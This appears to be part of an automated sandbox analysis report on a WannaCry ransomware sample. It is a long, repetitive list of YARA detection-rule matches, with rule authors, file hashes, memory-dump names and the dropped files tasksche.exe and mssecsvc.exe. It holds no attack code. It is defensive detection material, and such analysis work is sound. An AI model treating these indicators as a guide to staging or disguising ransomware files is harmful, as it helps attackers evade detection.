              Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 9.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 9.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 9.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 24.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 24.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 24.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 24.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 24.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 24.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 9.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 9.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 9.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 9.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 9.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 9.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000002.718971508.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000018.00000000.470364244.000000000040E000.00000008.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000006.00000000.397994686.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.389294793.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.392433384.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000006.00000000.395162671.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000006.00000002.479754496.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000006.00000000.391215841.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.394171945.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000006.00000000.393482801.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000000.387382514.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 7KPQg3aXdC.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
              Source: 7KPQg3aXdC.dll, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7KPQg3aXdC.dll, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 9.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 9.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 9.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
